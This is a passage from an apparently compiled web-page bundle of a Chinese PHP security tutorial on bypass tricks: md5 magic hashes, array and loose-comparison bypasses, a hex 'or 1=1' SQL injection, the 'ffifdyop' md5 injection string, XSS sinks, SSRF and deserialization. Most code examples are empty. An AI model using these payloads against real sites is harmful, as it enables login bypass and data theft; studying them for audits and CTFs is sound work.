\u5728\u5904\u7406\u54c8\u5e0c\u5b57\u7b26\u4e32\u7684\u65f6\u5019\uff0c\u4f1a\u4f7f\u7528",(0,r.jsx)(n.code,{children:"!="}),"\u6216\u8005",(0,r.jsx)(n.code,{children:"=="}),"\u6765\u5bf9\u54c8\u5e0c\u503c\u8fdb\u884c\u6bd4\u8f83\uff0c\u5b83\u4f1a\u628a\u6bcf\u4e00\u4e2a",(0,r.jsx)(n.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u90fd\u89e3\u91ca\u4e3a0\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65f6\u5019\u95ee\u9898\u5c31\u6765\u4e86\uff0c\u5982\u679c\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\uff0c\u7ecf\u8fc7\u54c8\u5e0c\u4ee5\u540e\u5b83\u4eec\u90fd\u53d8\u6210\u4e86",(0,r.jsx)(n.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\uff0c\u90a3\u4e48 PHP \u5c31\u4f1a\u5c06\u5b83\u4eec\u89c6\u4f5c\u76f8\u7b49\u5904\u7406\u3002\u90a3\u4e48",(0,r.jsx)(n.code,{children:"0E"}),"\u5f00\u5934\u7684\u54c8\u5e0c\u503c\u6709\u54ea\u4e9b\u5462\uff1f"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-text",children:"s878926199a\n0e5459932745177090343288558410s155964671a\n0e3427684168224515249741172544s214587387a\n0e8482404488305379244658656119s214587387a\n0e8482404488305379244658656119s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s1885207154a\n0e5093672134182067008420087635s1502113478a\n0e8615801632915612474043813960s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s155964671a\n0e3427684168224515249741172544s1184209335a\n0e0724858203927733895231090820s1665632922a\n0e7311980614911630731971283637s1502113478a\n0e8615801632915612474043813960s1836677006a\n0e4810364908676611132600349007s1091221200a\n0e9406242178565615578163273846s155964671a\n0e3427684168224515249741172544s1502113478a\n0e8615801632915612474043813960s155964671a\n0e3427684168224515249741172544s1665632922a\n0e7311980614911630731971283637s155964671a\n0e3427684168224515249741172544s1091221200a\n0e9406242178565615578163273846s1836677006a\n0e4810364908676611132600349007s1885207154a\n0e5093672134182067008420087635s532378020a\n0e2204630958555115075880412058s878926199a\n0e5459932745177090343288558410s1091221200a\n0e9406242178565615578163273846s214587387a\n0e8482404488305379244658656119s1502113478a\n0e8615801632915612474043813960s1091221200a\n0e9406242178565615578163273846s1665632922a\n0e7311980614911630731971283637s1885207154a\n0e5093672134182067008420087635s1836677006a\n0e4810364908676611132600349007s1665632922a\n0e7311980614911630731971283637s878926199a\n0e5459932745177090343288558410\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6765\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u5427"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u4ece\u4e0a\u9762\u6211\u7ed9\u51fa\u7684\u54ea\u4e9b\u503c\u4e2d\uff0c\u6311\u4e24\u4e2a\u4e0d\u540c\u7684\u503c\u4f20\u5165\u53c2\u6570\uff0c\u5c31\u80fd\u770b\u5230\u76f8\u5e94\u7684\u7ed3\u679c"}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0a\u9762\u662f",(0,r.jsx)(n.code,{children:"md5()"}),"\u51fd\u6570\u7684\u7ed5\u8fc7\u59ff\u52bf\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"sha1()"}),"\u5982\u4f55\u7ed5\u8fc7\u5462\uff1f\u518d\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5f53\u6211\u4eec\u4f20\u5165",(0,r.jsx)(n.code,{children:"a[]=1&b[]=2"}),"\u7684\u65f6\u5019\uff0c\u867d\u7136\u5b83\u4f1a\u7ed9\u51fa\u8b66\u544a\uff0c\u8bf4\u6211\u4eec\u5e94\u8be5\u4f20\u5165\u5b57\u7b26\u4e32\u800c\u4e0d\u5e94\u8be5\u662f\u6570\u7ec4\uff0c\u4f46\u662f\u5b83\u8fd8\u662f\u8f93\u51fa\u4e86",(0,r.jsx)(n.code,{children:"nice!!!"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u7528\u6570\u5b57\u6765\u7ed5\u8fc7",(0,r.jsx)(n.code,{children:"sha1()"}),"\u51fd\u6570\u7684\u6bd4\u8f83\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"is_numeric\u7ed5\u8fc7",children:"is_numeric()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u5148\u6765\u4e86\u89e3\u4e00\u4e0b\u8fd9\u4e2a\u51fd\u6570\u3002\u6b64\u51fd\u6570\u662f\u68c0\u6d4b\u53d8\u91cf\u662f\u5426\u4e3a\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"is_numeric( mixed $var) : bool\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c",(0,r.jsx)(n.code,{children:"var"}),"\u662f\u6570\u5b57\u6216\u8005\u6570\u5b57\u5b57\u7b26\u4e32\u90a3\u4e48\u5c31\u8fd4\u56deTRUE\uff0c\u5426\u5219\u5c31\u8fd4\u56deFALSE\u3002\u90a3\u4e48\u8fd9\u91cc\u8bf4\u7684\u7ed5\u8fc7\u662f\u4ec0\u4e48\u59ff\u52bf\u5462\uff1f\u662f\u5341\u516d\u8fdb\u5236\u3002\u6211\u4eec\u5148\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nIt meets my requirement\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u91cc\u8bf4\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"0x31206f722031"}),"\u8fd9\u4e2a\u662f\u4ec0\u4e48\uff1f\u8fd9\u4e2a\u662f",(0,r.jsx)(n.code,{children:"or 1=1"}),"\u7684\u5341\u516d\u8fdb\u5236\uff0c\u4ece\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\uff0c\u5982\u679c\u67d0\u5904\u4f7f\u7528\u4e86\u6b64\u51fd\u6570\uff0c\u5e76\u5c06\u4fee\u9970\u540e\u7684\u53d8\u91cf\u5e26\u5165\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5\u4e2d\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u80fd\u5229\u7528\u6b64\u6f0f\u6d1e\u5b9e\u73b0sql\u6ce8\u5165\u3002\u540c\u6837\u7684\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\u518dCTF\u6bd4\u8d5b\u4e2d\u4e5f\u662f\u5f88\u5e38\u89c1\u7684\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"in_array\u7ed5\u8fc7",children:"in_array()\u7ed5\u8fc7"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u68c0\u6d4b\u6570\u7ec4\u4e2d\u662f\u5426\u5b58\u5728\u67d0\u4e2a\u503c\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-28",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"needle\uff1a\u5e26\u641c\u7d22\u7684\u503c(\u533a\u5206\u5927\u5c0f\u5199)\u3002"}),"\n",(0,r.jsx)(n.li,{children:"haystack\uff1a\u5e26\u641c\u7d22\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(n.li,{children:["strict\uff1a\u82e5\u6b64\u53c2\u6570\u7684\u503c\u4e3aTRUE\uff0c\u90a3\u4e48",(0,r.jsx)(n.code,{children:"in_array()"}),"\u51fd\u6570\u5c06\u4f1a\u68c0\u67e5needle\u7684\u7c7b\u578b\u662f\u5426\u548chaystack\u4e2d\u7684\u7c7b\u578b\u76f8\u540c\u3002"]}),"\n"]}),"\n",(0,r.jsx)(n.p,{children:"\u6709\u65f6\u5019\u6211\u4eec\u518d\u4f20\u5165\u4e00\u4e2a\u6570\u7ec4\u7684\u65f6\u5019\uff0c\u4ee3\u7801\u53ef\u80fd\u4f1a\u8fc7\u6ee4\u67d0\u4e9b\u654f\u611f\u5b57\u7b26\u4e32\uff0c\u4f46\u662f\u6211\u4eec\u53c8\u9700\u8981\u4f20\u5165\u8fd9\u6837\u7684\u5b57\u7b26\u4e32\uff0c\u90a3\u4e48\u6211\u4eec\u5e94\u8be5\u5982\u4f55\u7ed5\u8fc7\u5b83\u7684\u68c0\u6d4b\u5462\uff1f"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0a\u9762\u4ee3\u7801\u793a\u4f8b\u6267\u884c\u7684\u7ed3\u679c\u4f1a\u662f\u4ec0\u4e48\u5462\uff1f\u4ece\u7b80\u5355\u7684\u903b\u8f91\u4e0a\u5206\u6790\u30020\u662f\u4e0d\u5b58\u5728\u8981\u641c\u7d22\u7684\u6570\u7ec4\u4e2d\u7684\uff0c\u6240\u4ee5\u7406\u8bba\u4e0a\uff0c\u5e94\u8be5\u662f\u8f93\u51fa",(0,r.jsx)(n.code,{children:"not in array"}),"\uff0c\u4f46\u662f\u5b9e\u9645\u5374\u8f93\u51fa\u4e86",(0,r.jsx)(n.code,{children:"It's in array"}),"\u3002\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u539f\u56e0\u5c31\u5728\u4e8ePHP\u7684\u9ed8\u8ba4\u7c7b\u578b\u8f6c\u6362\u3002\u8fd9\u91cc\u6211\u4eec\u7b2c\u4e09\u4e2a\u53c2\u6570\u5e76\u6ca1\u6709\u8bbe\u7f6e\u4e3a",(0,r.jsx)(n.code,{children:"true"}),"\u90a3\u4e48\u9ed8\u8ba4\u5c31\u662f\u975e\u4e25\u683c\u6bd4\u8f83\uff0c\u6240\u4ee5\u5728\u6570\u5b57\u4e0e\u5b57\u7b26\u4e32\u8fdb\u884c\u6bd4\u8f83\u65f6\uff0c\u5b57\u7b26\u4e32\u5148\u88ab\u5f3a\u5236\u8f6c\u6362\u6210\u6570\u5b57\uff0c\u7136\u540e\u518d\u8fdb\u884c\u6bd4\u8f83\u3002\u5e76\u4e14\u56e0\u4e3a\u67d0\u4e9b\u7c7b\u578b\u8f6c\u6362\u6b63\u5728\u53d1\u751f\uff0c\u5c31\u4f1a\u5bfc\u81f4\u53d1\u751f\u6570\u636e\u4e22\u5931\uff0c\u5e76\u4e14\u90fd\u88ab\u89c6\u4e3a\u76f8\u540c\u3002\u6240\u4ee5\u5f52\u6839\u5230\u5e95\u8fd8\u662f\u975e\u4e25\u683c\u6bd4\u8f83\u5bfc\u81f4\u7684\u95ee\u9898\u3002\u6240\u4ee5\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7528\u6765\u53d8\u91cf\u68c0\u6d4b\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u770b\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u5426\u5f00\u542f\uff0c\u82e5\u672a\u5f00\u542f\uff0c\u5219\u5b58\u5728\u6570\u7ec4\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"xss",children:"XSS"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u8fd9\u91cc\u9996\u5148\u4f60\u8981\u5bf9XSS\u7684\u57fa\u672c\u539f\u7406\u8981\u77e5\u9053\u3002PHP\u4e2d\u4e00\u4e0b\u8fd9\u4e9b\u51fd\u6570\u4e4b\u6240\u4ee5\u4f1a\u51fa\u73b0XSS\u7684\u6f0f\u6d1e\u60c5\u51b5\uff0c\u4e3b\u8981\u8fd8\u662f\u6ca1\u6709\u5bf9\u8f93\u51fa\u7684\u53d8\u91cf\u8fdb\u884c\u8fc7\u6ee4\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"print",children:"print()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648347.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"print_r",children:"print_r()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648347.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"echo",children:"echo()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u4f20\u5165\u76f8\u5e94\u53c2\u6570\uff0c\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648347.png",alt:"img"})}),"\n",(0,r.jsx)(n.h4,{id:"printf",children:"printf()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6267\u884c\u7ed3\u679c\u548c\u4e0a\u9762\u76f8\u540c\uff0c\u6211\u5c31\u4e0d\u518d\u8d34\u56fe\u7247\u4e86\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"sprintf",children:"sprintf()"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"die",children:"die()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u8f93\u51fa\u4e00\u6761\u4fe1\u606f\uff0c\u5e76\u9000\u51fa\u5f53\u524d\u811a\u672c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"var_dump",children:"var_dump()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u6253\u5370\u53d8\u91cf\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u7528\u6765\u663e\u793a\u5173\u4e8e\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u5305\u62ec\u8868\u8fbe\u5f0f\u7684\u7c7b\u578b\u4e0e\u503c\u3002\u6570\u7ec4\u5c06\u9012\u5f52\u5c55\u5f00\u4e4b\uff0c\u901a\u8fc7\u7f29\u8fdb\u663e\u793a\u5176\u7ed3\u6784\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"var_export",children:"var_export()"}),"\n",(0,r.jsxs)(n.p,{children:["\u6b64\u51fd\u6570\u8f93\u51fa\u6216\u8005\u8fd4\u56de\u4e00\u4e2a\u53d8\u91cf\u7684\u5b57\u7b26\u4e32\u8868\u793a\u3002\u5b83\u8fd4\u56de\u5173\u4e8e\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u7684\u53d8\u91cf\u7684\u7ed3\u6784\u4fe1\u606f\uff0c\u548c",(0,r.jsx)(n.code,{children:"var_dump"}),"\u7c7b\u4f3c\uff0c\u4e0d\u540c\u7684\u662f\u5176\u8fd4\u56de\u7684\u8868\u793a\u662f\u5408\u6cd5\u7684 PHP \u4ee3\u7801\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648348.png",alt:"img"})}),"\n",(0,r.jsx)(n.h3,{id:"php\u9ed1\u9b54\u6cd5",children:"PHP\u9ed1\u9b54\u6cd5"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u5927\u90e8\u5206\u51fd\u6570\u7684\u4f7f\u7528\u5df2\u7ecf\u5728\u4e0a\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\u4e86\uff0c\u8fd9\u91cc\u6211\u5c31\u9488\u5bf9\u6bcf\u4e00\u79cd\u51fd\u6570\u5927\u6982\u4ecb\u7ecd\u4e00\u4e0b\u5176\u4e3b\u8981\u5b58\u5728\u7684\u5229\u7528\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"md5",children:"md5()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"md5()"}),"\u51fd\u6570\u7ed5\u8fc7sql\u6ce8\u5165\u3002\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u4f8b\u5b50\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$password=$_POST['password'];\n$sql = \"SELECT * FROM admin WHERE username = 'admin' and password = '\".md5($password,true).\"'\";\n$result=mysqli_query($link,$sql);\nif(mysqli_num_rows($result)>0){\n echo 'flag is :'.$flag;\n}\nelse{\n echo '\u5bc6\u7801\u9519\u8bef!';\n}\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u91cc\u63d0\u4ea4\u7684\u53c2\u6570\u901a\u8fc7",(0,r.jsx)(n.code,{children:"md5"}),"\u51fd\u6570\u5904\u7406\uff0c\u7136\u540e\u518d\u8fdb\u5165SQL\u67e5\u8be2\u8bed\u53e5\uff0c\u6240\u4ee5\u5e38\u89c4\u7684\u6ce8\u5165\u624b\u6bb5\u5c31\u4e0d\u884c\u4e86\uff0c\u90a3\u4e48\u5982\u679cmd5\u540e\u7684\u8f6c\u6362\u6210\u5b57\u7b26\u4e32\u683c\u5f0f\u53d8\u6210\u4e86",(0,r.jsx)(n.code,{children:"'or'xxxx"}),"\u7684\u683c\u5f0f\uff0c\u4e0d\u5c31\u53ef\u4ee5\u6ce8\u5165\u4e86\u4e48\u3002",(0,r.jsx)(n.code,{children:"md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c"})]}),"\n",(0,r.jsxs)(n.p,{children:["\u8f6c\u6210\u5b57\u7b26\u4e32\u4e3a",(0,r.jsx)(n.code,{children:"'or'6xxx"})]}),"\n",(0,r.jsx)(n.h4,{id:"eval-1",children:"eval()"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u6267\u884c\u547d\u4ee4\u65f6\uff0c\u53ef\u4f7f\u7528\u5206\u53f7\u6784\u9020\u5904\u591a\u6761\u8bed\u53e5\u3002\u7c7b\u4f3c\u8fd9\u79cd\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.h4,{id:"ereg",children:"ereg()"}),"\n",(0,r.jsxs)(n.p,{children:["\u5b58\u5728",(0,r.jsx)(n.code,{children:"%00"}),"\u622a\u65ad\uff0c\u5f53\u9047\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u6765\u8fdb\u884c\u6b63\u5219\u5339\u914d\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u7528",(0,r.jsx)(n.code,{children:"%00"}),"\u6765\u622a\u65ad\u6b63\u5219\u5339\u914d\uff0c\u4ece\u800c\u7ed5\u8fc7\u6b63\u5219\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"strcmp",children:"strcmp()"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u4e2a\u5728\u524d\u9762\u4ecb\u7ecd\u8fc7\uff0c\u5c31\u662f\u6570\u7ec4\u7ed5\u8fc7\u6280\u5de7\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"curl_setopt",children:"curl_setopt()"}),"\n",(0,r.jsx)(n.p,{children:"\u5b58\u5728ssrf\u6f0f\u6d1e\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u4f7f\u7528file\u534f\u8bae\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648349.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\u8fd8\u6709dict\u534f\u8bae\u67e5\u770b\u7aef\u53e3\u4fe1\u606f\u3002gopher\u534f\u8bae\u53cd\u5f39shell\u5229\u7528\u7b49\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"preg_replace-1",children:"preg_replace()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u524d\u9762\u8be6\u7ec6\u4ecb\u7ecd\u8fc7\uff0c/e\u6a21\u5f0f\u4e0b\u7684\u547d\u4ee4\u6267\u884c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"urldecode",children:"urldecode()"}),"\n",(0,r.jsx)(n.p,{children:"url\u4e8c\u6b21\u7f16\u7801\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(n.p,{children:"\u5c06Ameng\u8fdb\u884c\u4e8c\u6b21url\u7f16\u7801\uff0c\u7136\u540e\u4f20\u5165\u5373\u53ef\u5f97\u5230\u6ee1\u8db3\u6761\u4ef6\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"file_get_contents-1",children:"file_get_contents()"}),"\n",(0,r.jsx)(n.p,{children:"\u5e38\u7528\u4f2a\u534f\u8bae\u6765\u8fdb\u884c\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"parse_url",children:"parse_url()"}),"\n",(0,r.jsx)(n.p,{children:"\u6b64\u51fd\u6570\u4e3b\u8981\u7528\u4e8e\u7ed5\u8fc7\u67d0\u4e9b\u8fc7\u6ee4\uff0c\u5148\u7b80\u5355\u4e86\u89e3\u4e00\u4e0b\u51fd\u6570\u7684\u57fa\u672c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n ( \n [scheme] => http \n [host] => www.jlx-love.com \t\t[path] => /about \n\t)\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u51fd\u6570\u628a\u6211\u4eec\u7684\u53d8\u91cf\u503c\u62c6\u5206\u6210\u4e00\u4e2a\u51e0\u4e2a\u90e8\u5206\u3002\u90a3\u4e48\u7ed5\u8fc7\u8fc7\u6ee4\u53c8\u662f\u8bf4\u7684\u54ea\u56de\u4e8b\u5462\uff1f\u5176\u5b9e\u5c31\u662f\u5f53\u6211\u4eec\u5728\u6d4f\u89c8\u5668\u8f93\u5165url\u65f6\uff0c\u90a3\u4e48\u5c31\u4f1a\u5c06url\u4e2d\u7684\\\u8f6c\u6362\u4e3a/\uff0c\u4ece\u800c\u5c31\u4f1a\u5bfc\u81f4",(0,r.jsx)(n.code,{children:"parse_url"}),"\u7684\u767d\u540d\u5355\u7ed5\u8fc7\u3002"]}),"\n",(0,r.jsx)(n.h3,{id:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e",children:"\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"}),"\n",(0,r.jsx)(n.h4,{id:"\u7b80\u4ecb",children:"\u7b80\u4ecb"}),"\n",(0,r.jsx)(n.p,{children:"\u5728\u4e86\u89e3\u4e00\u4e9b\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9996\u5148\u9700\u8981\u4e86\u89e3\u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5e8f\u5217\u5316\uff1a\u628a\u5bf9\u8c61\u8f6c\u6362\u4e3a\u5b57\u8282\u5e8f\u5217\u7684\u8fc7\u7a0b\u6210\u4e3a\u5bf9\u8c61\u7684\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u53cd\u5e8f\u5217\u5316\uff1a\u628a\u5b57\u8282\u5e8f\u5217\u6062\u590d\u4e3a\u5bf9\u8c61\u7684\u8fc7\u7a0b\u79f0\u4e3a\u5bf9\u8c61\u7684\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u5f52\u6839\u5230\u5e95\uff0c\u5c31\u662f\u5c06\u6570\u636e\u8f6c\u5316\u6210\u4e00\u79cd\u53ef\u9006\u7684\u6570\u636e\u7ed3\u6784\uff0c\u9006\u5411\u7684\u8fc7\u7a0b\u5c31\u662f\u53cd\u5e8f\u5217\u5316\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u5728 PHP \u4e2d\u4e3b\u8981\u5c31\u662f\u901a\u8fc7",(0,r.jsx)(n.code,{children:"serialize"}),"\u548c",(0,r.jsx)(n.code,{children:"unserialize"}),"\u6765\u5b9e\u73b0\u6570\u636e\u7684\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6f0f\u6d1e\u662f\u5982\u4f55\u5f62\u6210\u7684\u5462\uff1f"}),"\n",(0,r.jsx)(n.p,{children:"PHP \u7684\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u4e3b\u8981\u662f\u56e0\u4e3a\u672a\u5bf9\u7528\u6237\u8f93\u5165\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u8fdb\u884c\u68c0\u6d4b\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u63a7\u5236\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\uff0c\u4ece\u800c\u5c31\u53ef\u4ee5\u5bfc\u81f4\u5404\u79cd\u5371\u9669\u884c\u4e3a\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u5148\u6765\u770b\u4e00\u770b\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\u683c\u5f0f\u662f\u600e\u6837\u7684\uff0c\u4e86\u89e3\u4e86\u5e8f\u5217\u5316\u540e\u7684\u6570\u636e\uff0c\u6211\u4eec\u624d\u80fd\u66f4\u597d\u7684\u7406\u89e3\u548c\u5229\u7528\u6f0f\u6d1e\u3002\u6240\u4ee5\u6211\u4eec\u6765\u6784\u9020\u4e00\u6bb5\u5e8f\u5217\u5316\u7684\u503c\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nO:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648350.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u8fd8\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f\u5173\u4e8e\u53d8\u91cf\u7684\u5206\u7c7b\uff0c\u53d8\u91cf\u7684\u7c7b\u522b\u6709\u4e09\u79cd\uff1a"}),"\n",(0,r.j